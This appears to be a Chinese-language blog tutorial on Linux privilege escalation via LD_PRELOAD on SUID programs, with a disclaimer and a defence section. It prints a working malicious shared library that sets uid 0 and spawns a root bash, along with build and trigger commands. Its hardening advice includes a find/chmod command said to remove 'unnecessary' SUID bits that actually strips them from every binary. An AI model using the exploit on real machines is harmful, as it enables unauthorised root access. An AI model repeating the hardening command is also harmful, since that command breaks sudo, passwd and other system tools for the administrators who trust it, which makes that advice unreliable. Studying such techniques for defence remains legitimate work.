Linux Privilege Escalation: LD_PRELOAD

发布于:2025-04-21 ⋅ 阅读:(57) ⋅ 点赞:(0)

声明:本文所有操作需在授权环境下进行,严禁非法使用!


0x01 什么是 LD_PRELOAD?

LD_PRELOAD 是 Linux 系统中一个特殊的环境变量,它允许用户在程序启动时优先加载自定义的动态链接库(.so 文件),覆盖系统默认的库函数。这种机制原本用于调试或性能优化,但配置不当可能引发安全问题。


0x02 漏洞原理

关键条件

  1. 目标程序具有 SUID 权限 SUID(Set User ID)权限的程序在运行时,会以文件所有者的身份执行(例如 root)。 查看 SUID 程序:

  1.  find / -perm -4000 2>/dev/null
  2. 程序未屏蔽 LD_PRELOAD 如果高权限程序未过滤此环境变量,攻击者可以劫持其加载的库函数。


0x03 攻击演示(实验环境)

步骤 1:编写恶意动态库

创建 evil.c 文件,内容如下:

 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 ​
 // 劫持程序初始化时的函数
 void _init() {
     setuid(0);          // 提权到 root
     setgid(0);
     system("/bin/bash");// 启动一个 shell
 }

步骤 2:编译为共享库

 gcc -shared -fPIC -nostartfiles -o evil.so evil.c

步骤 3:触发漏洞

假设发现 /usr/bin/vulnerable_program 存在漏洞:

 export LD_PRELOAD=/path/to/evil.so  # 设置环境变量
 /usr/bin/vulnerable_program        # 运行 SUID 程序

若成功,你将获得一个 root 权限的 bash shell


0x04 为什么现代系统难以复现?

  1. 安全机制升级 主流 Linux 发行版(如 Ubuntu 20.04+、CentOS 8+)默认在 SUID 程序中忽略 LD_PRELOAD 等敏感环境变量。

  2. 配置防护 通过 sudoenv_reset 选项或 SELinux/AppArmor 可进一步限制环境变量。


0x05 防御措施

给系统管理员的建议

  1. 定期更新系统

 sudo apt update && sudo apt upgrade -y  # Debian/Ubuntu
 sudo yum update -y                     # CentOS/RHEL

限制 SUID 程序

 bash
 # 查找并删除不必要的 SUID 权限
 find / -perm -4000 -exec chmod u-s {} \;

启用安全模块 使用 SELinux 或 AppArmor 限制程序行为:

  1.  sudo apt install apparmor-utils  # Ubuntu
     sudo aa-enforce /path/to/profile

0x06 总结

  • 漏洞本质:利用环境变量劫持高权限程序的动态库加载过程。

  • 现实意义:更多用于理解 Linux 权限机制和历史漏洞,实际渗透中需结合其他漏洞使用。

  • 道德警示:此技术仅限授权测试或学习使用,非法入侵需承担法律责任!